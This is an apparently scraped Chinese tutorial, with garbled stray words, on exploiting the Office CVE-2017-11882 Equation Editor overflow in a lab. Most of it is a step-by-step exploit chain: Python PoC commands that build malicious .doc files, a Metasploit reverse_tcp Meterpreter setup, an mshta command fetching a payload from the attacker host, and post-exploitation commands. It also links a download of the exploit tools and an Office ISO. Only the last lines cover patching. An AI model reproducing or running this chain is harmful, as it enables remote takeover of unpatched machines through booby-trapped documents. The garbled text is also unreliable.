這幾個月來,針對微軟Office套件最火熱最流行的***手段,莫過於基於CVE-2017-11882的漏洞利用。html
2017年11月14號,微軟推送了常規的安全更新,其中,關於CVE-2017-11882的安全更新引發了圈裏的關注,隨之而來的,即是針對此漏洞的POC***代碼被逐漸公開。各路大神在Twitter和Github上相繼公佈本身的POC及對應的漏洞利用姿式,將這股烈火蔓延到2018年。python
爲何這個漏洞會引發這麼大的關注度呢?shell
從漏洞利用效果來看,它能夠通殺Office 2003到2016的全部版本,而且整個***環境的構建很是簡單,姿式又很是「優雅」。例如,有些***效果會出現彈框,會出現CPU飆高,會發生異常等等,而這個漏洞的利用效果,堪稱「無色無味」。在後續實驗過程當中,你們能夠自行體會。編程
更重要的是,這枚「通殺型」的Office高危漏洞,其實已經潛伏了17年之久,直到近幾個月才被發現並低調修復……windows
那麼,這個漏洞是怎麼回事呢?簡單來講:安全
此漏洞是由Office軟件裏面的 [公式編輯器] 形成的,因爲編輯器進程沒有對名稱長度進行校驗,致使緩衝區溢出,***者經過構造特殊的字符,能夠實現任意代碼執行。網絡
舉個例子,若是***利用這個漏洞,構造帶有shell後門的office文件,當普通用戶打開這個office文件,則電腦能夠被***直接控制。session
影響版本:
office 2003
office 2007
office 2010
office 2013
office 2016框架
Kali Linux 2017.03 + Windows 7 + Office 2016
***機:Kali Linux + POC代碼
靶機:Win7 + Office 2016tcp
注:爲了節省你們實驗時間,我將此實驗涉及到的工具所有上傳到網盤。
連接:https://pan.baidu.com/s/17rrYP33Nv2-dNxS7wc1foA 密碼:nbw2
①下載office 2016
直接上msdn.itellyou.cn下載office 2016
種子連接:ed2k://|file|cn_office_professional_plus_2016_x86_x64_dvd_6969182.iso|2588266496|27EEA4FE4BB13CD0ECCDFC24167F9E01|/
②安裝office 2016
在Win7靶機中,安裝office 2016套件,這裏須要一些時間,你們也能夠用其餘windows和office版原本測試。
③下載POC代碼
Github上有不少大神分享針對這個漏洞的POC代碼,但測試過程當中,發現有些驗證效果不出來,有些驗證過程太複雜。
建議你們直接將我網盤分享的CVE-2017-11882文件夾下載下來,放到Kali Linux***機桌面。以下:
④進入shell終端,使用POC代碼生成特殊改造的word文件
進入POC代碼目錄 root@kali:~/Desktop# cd CVE-2017-11882
查看文件
root@kali:~/Desktop/CVE-2017-11882# ls
生成word文檔11882.doc,打開doc文件以後,會彈出計算器(以此驗證offce漏洞) root@kali:~/Desktop/CVE-2017-11882# python CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o 11882.doc
生成word文檔11882.doc,打開doc文件以後,會彈出任務管理器(以此驗證offce漏洞) root@kali:~/Desktop/CVE-2017-11882# python CVE-2017-11882.py -c "cmd.exe /c taskmgr.exe" -o 11882-2.doc
再次查看,能夠看到多了兩個doc文件 root@kali:~/Desktop/CVE-2017-11882# ls
⑤將文件拷貝到Win7靶機上,並驗證效果
使用Word 2016打開第一個文件-11882.doc文件,查看效果:
使用Word 2016打開第二個文件-11882-2.doc文件,查看效果:
能夠看到,因爲Office2016存在CVE-2017-11882漏洞,當打開特殊構造的word文件時,windows會執行其餘動做。既然此漏洞可以形成win系統執行其餘動做,那麼,是否順即可以反彈會話,直接被***機控制呢?答案是確定的。接下來咱們來作進一步的驗證。
⑥在Kali Linux上構造帶有shell後門的word文件,並開啓監聽
首先,爲了後續更好的管理和使用***代碼,能夠將網盤中下載的代碼」shell.rb」,名稱修改成「cve-2017-11886.rb」
將CVE-2017-11882.rb拷貝到metasploit目錄中,這裏拷貝到目錄/usr/share/metasploit-framework/modules/exploits/windows/smb
root@kali:~# cd /usr/share/metasploit-framework/modules/exploits/windows/smb
root@kali:/usr/share/metasploit-framework/modules/exploits/windows/smb# cp ~/Desktop/CVE-2017-11882/CVE-2017-11882.rb CVE-2017-11882.rb
root@kali:/usr/share/metasploit-framework/modules/exploits/windows/smb# ls
進入Metasploit框架,搜索CVE-2017-11882:
root@kali:~# msfconsole
msf > search CVE-2017-11882
使用CVE-2017-11882.rb模塊,開啓Meterpreter監聽會話:
使用模塊 msf > use exploit/windows/smb/CVE-2017-11882
設置tcp反彈會話 msf exploit(CVE-2017-11882) > set payload windows/meterpreter/reverse_tcp
設置***機ip地址(這裏經過ifconfig命令查看) msf exploit(CVE-2017-11882) > set lhost 172.16.70.216
設置路徑爲11882,可自定義 msf exploit(CVE-2017-11882) > set uripath 11882
開啓***,進入監聽狀態 msf exploit(CVE-2017-11882) > exploit
使用CVE-2017-11882.py模塊,生成帶有shell的doc文件:
root@kali:~/Desktop/CVE-2017-11882# python CVE-2017-11882.py -c "mshta http://172.16.70.216:8080/11882" -o 11882-3.doc
此時,CVE-2017-11882目錄中增長了另一個word文件11882-3,而此文件的功能即是:打開它的電腦會反彈shell會話到控制機
將文件11882-3.doc拷貝到靶機win7上面:
在Win7打開11882-3.doc文件,此時觀察Win7靶機和Kali Linux***機
注:作這個實驗以前,首先要求***機Kali Linux和靶機Win7可以聯通,例如在個人虛擬環境中,Kali Linux的ip地址是172.16.70.216,而Win7的地址是172.16.70.144,兩個虛擬機採用NAT網卡模式。
當靶機打開文件時,整個過程沒有任何彈框,也沒有其餘異常動做,整個***效果很是「優雅」,肉雞很難發現。
此時,在另外一段的Kali Linux***機,已經獲取到shell會話。
經過命令sessions查看meterpreter會話:
msf exploit(CVE-2017-11882) > sessions
此後即可以經過meterpreter來對會話進行管理:
進入會話 msf exploit(CVE-2017-11882) > sessions 1
查看系統信息 meterpreter > sysinfo
查看當前用戶 meterpreter > getuid
截屏 meterpreter > screenshot
能夠看到,安裝了最新office 2016版本的win7,由於CVE-2017-11882漏洞,當打開帶有shell後門的doc文件時,kali***機能夠獲取到完美的後門並控制win7。
①在線更新;開啓Windows Update更新,這種方式對於大部分人來講就夠了。
②打補丁;此漏洞對應的微軟補丁地址:https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882
=====================